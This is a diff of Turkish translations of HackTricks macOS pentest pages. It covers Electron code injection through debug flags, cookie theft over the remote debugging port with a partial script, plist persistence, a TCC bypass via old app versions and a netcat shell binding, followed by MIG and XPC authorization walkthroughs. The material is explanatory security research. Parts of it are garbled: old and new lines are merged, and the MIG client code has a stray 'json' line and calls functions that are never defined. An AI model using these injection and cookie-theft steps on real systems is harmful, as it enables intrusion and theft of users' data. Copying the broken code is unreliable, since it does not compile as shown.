[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktasıılacaktır** böylece ona bağlanabilirsiniz (örneğin Chrome'dan `chrome://inspect` üzerinden) ve üzerine **kod enjekte edebilirsiniz** veya yeni işlemler başlatabilirsiniz.\ [**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktasıılacak** ve buna bağlanabileceksiniz (örneğin Chrome'dan `chrome://inspect` üzerinden) ve **üzerine kod enjekte edebileceksiniz** hatta yeni işlemler başlatabileceksiniz.\
Örneğin: Örneğin:
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -183,14 +183,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **`EnableNodeCliInspectArguments`** kilidi devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **yoksayar** (env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadığı sürece), bu da **yoksayılacak** eğer **`RunAsNode`** kilidi devre dışı bırakılmışsa. Eğer **`EnableNodeCliInspectArguments`** füzesi devre dışı bırakılmışsa, uygulama başlatıldığında **`--inspect` gibi node parametrelerini** yoksayar, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni ayarlanmadığı sürece (ki bu da **`RunAsNode`** füzesi devre dışı bırakılmışsa yoksayar).
Ancak, hala **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır. Ancak, yine de **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır.
{% endhint %} {% endhint %}
Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının içinde **şifrelenmiş** olan **çerezler** (çünkü tarayıcı içinde **şifrelenmiş** ve onları verecek bir **json uç noktası** bulunmaktadır). **`--remote-debugging-port=9222`** parametresini kullanarak Electron Uygulamasından **geçmiş** (GET komutları ile) veya tarayıcının içinde **şifrelenmiş** olan **çerezlerin** (çünkü tarayıcı içinde **şifrelenmiş** ve onları verecek bir **json uç noktası** bulunmaktadır) bazı bilgileri çalmak mümkündür.
Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz: Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) nasıl yapacağınızı öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz:
```python ```python
import websocket import websocket
ws = websocket.WebSocket() ws = websocket.WebSocket()
@ -202,7 +202,7 @@ print(ws.recv()
### Uygulama Plist'ten Enjeksiyon ### Uygulama Plist'ten Enjeksiyon
Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürmek için şu anahtarları ekleyebilirsiniz: Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürebilirsiniz, bu anahtarları ekleyerek:
```xml ```xml
<dict> <dict>
<key>ProgramArguments</key> <key>ProgramArguments</key>
@ -219,10 +219,10 @@ Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı s
## Eski Sürümleri Kullanarak TCC Atlatma ## Eski Sürümleri Kullanarak TCC Atlatma
{% hint style="success" %} {% hint style="success" %}
macOS'taki TCC daemonı uygulamanın çalıştırılan sürümünü kontrol etmez. Dolayısıyla, **Electron uygulamasına kod enjekte edemezseniz** önceki tekniklerden herhangi biriyle eski bir UYGULAMA sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse). macOS'taki TCC daemonı uygulamanın yürütülen sürümünü kontrol etmez. Dolayısıyla, **Electron uygulamasına kod enjekte edemezseniz** önceki tekniklerden herhangi biriyle eski bir UYGULAMA sürümünü indirebilir ve üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse).
{% endhint %} {% endhint %}
## JS Olmayan Kod Çalıştırma ## JS Olmayan Kodları Çalıştırma
Önceki teknikler size **Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler aynı kum havuzu profili altında çalışır** ve **TCC izinlerini miras alırlar**.\ Önceki teknikler size **Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler aynı kum havuzu profili altında çalışır** ve **TCC izinlerini miras alırlar**.\
Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz**. Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz**.
@ -275,14 +275,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana dönüştürmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan ileri seviyeye AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
MIG, **Mach IPC işlemi** kod oluşturma sürecini basitleştirmek için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır. MIG, **Mach IPC işlemi oluşturma sürecini basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır.
### Örnek ### Örnek
@ -37,16 +37,13 @@ n2 : uint32_t);
``` ```
{% endcode %} {% endcode %}
Şimdi mig'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturmak için Subtract işlevini çağırmak için: Şimdi, birbirleriyle iletişim kurabilecek şekilde sunucu ve istemci kodunu oluşturmak için mig'i kullanın ve Çıkarma işlevini çağırmak için birbirleriyle iletişim kurun:
```bash ```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs mig -header myipcUser.h -sheader myipcServer.h myipc.defs
``` ```
Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır. Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır.
**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temel olarak alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik): **`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temel olarak alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik):
{% tabs %}
{% tab title="myipcServer.c" %}
```c ```c
/* Description of this subsystem, for use in direct RPC */ /* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = { const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
@ -64,15 +61,26 @@ myipc_server_routine,
``` ```
{% endtab %} {% endtab %}
{% tab title="myipcServer.h" %}Dosya: myipcServer.h {% tab title="myipcServer.h" %}
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG interfaces are defined in .defs files and are used to specify the messages that can be sent and received between processes.
To create a MIG interface, you need to define the message structures and the functions that will handle these messages. The MIG compiler then generates the necessary code to handle the IPC communication.
Here is an example of a simple MIG interface definition:
```c ```c
#include <mach/mach.h> routine simple_message(
#include <servers/bootstrap.h> in int x,
#include "myipcServer.h" out int y
);
```
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); In this example, we define a `simple_message` routine that takes an integer `x` as input and returns an integer `y` as output.
```
MIG is commonly used in macOS for system-level IPC, such as communicating with kernel extensions. Understanding MIG can be useful for security researchers and developers working on macOS applications.
{% endtab %} {% endtab %}
```c ```c
@ -105,7 +113,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
} }
``` ```
Bu örnekte tanımlamalar içinde sadece 1 fonksiyon tanımladık, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisinin içinde olacaktı ve ilk fonksiyon **500** ID'ye, ikinci fonksiyon ise **501** ID'ye atanacaktı... Bu örnekte tanımlamalar içinde sadece 1 fonksiyon tanımladık, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisinin içinde olacaktı ve ilk fonksiyon **500** ID'ye, ikinci fonksiyon **501** ID'ye atanacaktı...
Aslında bu ilişkiyi **`myipcServer.h`** dosyasındaki **`subsystem_to_name_map_myipc`** yapısında tanımlayabiliriz: Aslında bu ilişkiyi **`myipcServer.h`** dosyasındaki **`subsystem_to_name_map_myipc`** yapısında tanımlayabiliriz:
```c ```c
@ -148,7 +156,7 @@ return FALSE;
} }
</code></pre> </code></pre>
Önceki vurgulanan satırları kontrol ederek, kimliğe göre çağrılacak işlevi erişin. Önceki vurgulanan satırları kontrol ederek, kimliğe göre çağrılacak işlevlere erişim sağlayın.
Aşağıda, istemcinin sunucudan çıkarmak için işlevleri çağırabileceği basit bir **sunucu** ve **istemci** oluşturmak için kod bulunmaktadır: Aşağıda, istemcinin sunucudan çıkarmak için işlevleri çağırabileceği basit bir **sunucu** ve **istemci** oluşturmak için kod bulunmaktadır:
@ -195,16 +203,27 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
#include "myipc.h" #include "myipc.h"
int main() { int main() {
mach_port_t server_port; mach_port_t bootstrap_port;
kern_return_t kr; kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
if (kr != KERN_SUCCESS) { if (kr != KERN_SUCCESS) {
printf("Failed to look up server port: %s\n", mach_error_string(kr)); printf("Failed to get bootstrap port\n");
return 1; return 1;
} }
myipc_client(server_port); myipc_t myipc = myipc_alloc_init(bootstrap_port);
if (myipc == MACH_PORT_NULL) {
printf("Failed to allocate and init myipc\n");
json
return 1;
}
myipc_send_message(myipc, "Hello, server!");
char response[100];
myipc_receive_message(myipc, response, sizeof(response));
printf("Received response: %s\n", response);
myipc_dealloc(myipc);
return 0; return 0;
} }
@ -237,9 +256,9 @@ USERPREFSubtract(port, 40, 2);
``` ```
### Binary Analizi ### Binary Analizi
Birçok ikili dosya artık mach bağlantı noktalarınıığa çıkarmak için MIG kullanıyor, bu nedenle **MIG'nin kullanıldığını belirlemenin** ve her mesaj kimliği ile **MIG'nin yürüttüğü işlevleri** bilmek ilginç olabilir. Birçok ikili dosya artık mach bağlantı noktalarınıığa çıkarmak için MIG'yi kullandığından, **MIG'nin kullanıldığını belirlemenin** ve her mesaj kimliği ile MIG'in yürüttüğü **işlevleri** bilmek ilginç olabilir.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi belirleyebilir: [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyadan MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi belirleyebilir:
```bash ```bash
jtool2 -d __DATA.__const myipc_server | grep MIG jtool2 -d __DATA.__const myipc_server | grep MIG
``` ```
@ -250,7 +269,7 @@ Daha önce, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıraca
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) { <pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0; var_10 = arg0;
var_18 = arg1; var_18 = arg1;
// Uygun işlev işaretçilerini bulmak için ilk talimatlar // Doğru işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f; *(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0x4) = 0x24;
@ -259,13 +278,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0; *(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) { if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14); rax = *(int32_t *)(var_10 + 0x14);
// Çağrılacak işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı // Çağrılması gereken işlevin işaretçisini belirlemeye yardımcı olabilecek sign_extend_64 çağrısı
// Bu, çağrılması gereken işlevin işaretçisini rax'a depolar // Bu, rax'e çağrılması gereken işlevin işaretçisini depolar
// Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi) // Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi)
// 0x1f4 = 500 (başlangıç ID'si) // 0x1f4 = 500 (başlangıç ID'si)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); <strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax; </strong> var_20 = rax;
// If - else, if yanıtı yanlış döndürürken else doğru işlevi çağırır ve doğru döndürür // If - else, if yanıtı yanlış dönerken else doğru işlevi çağırır ve doğru döner
<strong> if (rax == 0x0) { <strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record; </strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1; *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -297,7 +316,7 @@ saved_fp = r29;
stack[-8] = r30; stack[-8] = r30;
var_10 = arg0; var_10 = arg0;
var_18 = arg1; var_18 = arg1;
// Uygun işlev işaretçilerini bulmak için ilk talimatlar // Doğru işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0; *(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0x4) = 0x24;
@ -364,22 +383,22 @@ return r0;
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt aldığını** göz önünde bulundurarak, her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır: Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapı 0x28 bayt alır**, bu nedenle her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir. Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
<details> <details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın** veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.**
* **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.** * **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarını paylaşın.**

View file

@ -6,7 +6,7 @@
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@ -16,13 +16,13 @@ HackTricks'i desteklemenin diğer yolları:
## XPC Yetkilendirme ## XPC Yetkilendirme
Apple, bağlanan işlemin **bir XPC yöntemini çağırmaya izin** **olup olmadığını doğrulamanın** başka bir yolunu da önerir. Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamak** için başka bir yöntem de önermektedir.
Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için çağrılabilecek bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir. Bir uygulamanın **yetkili bir kullanıcı olarak işlemleri yürütmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
### ShouldAcceptNewConnection her zaman YES ### ShouldAcceptNewConnection her zaman YES
Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool**'a **bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** işlevi önceden belirtilen gereksinimleri kontrol etmeyecek. Her zaman YES döndürecektir: Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool'a bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** işlevi önceden belirtilen gereksinimleri kontrol etmeyecek. Her zaman YES döndürecektir:
```objectivec ```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection // Called by our XPC listener when a new connection comes in. We configure the connection
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}]; }];
} }
``` ```
`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevidir: `enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevdir:
```objectivec ```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}]; }];
} }
``` ```
Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**. Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bu **kimlik doğrulaması gerektiren** **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğiniz yerlere dikkat edin. Sonuncusu **bu hakkı kimin alabileceğini belirtir**.
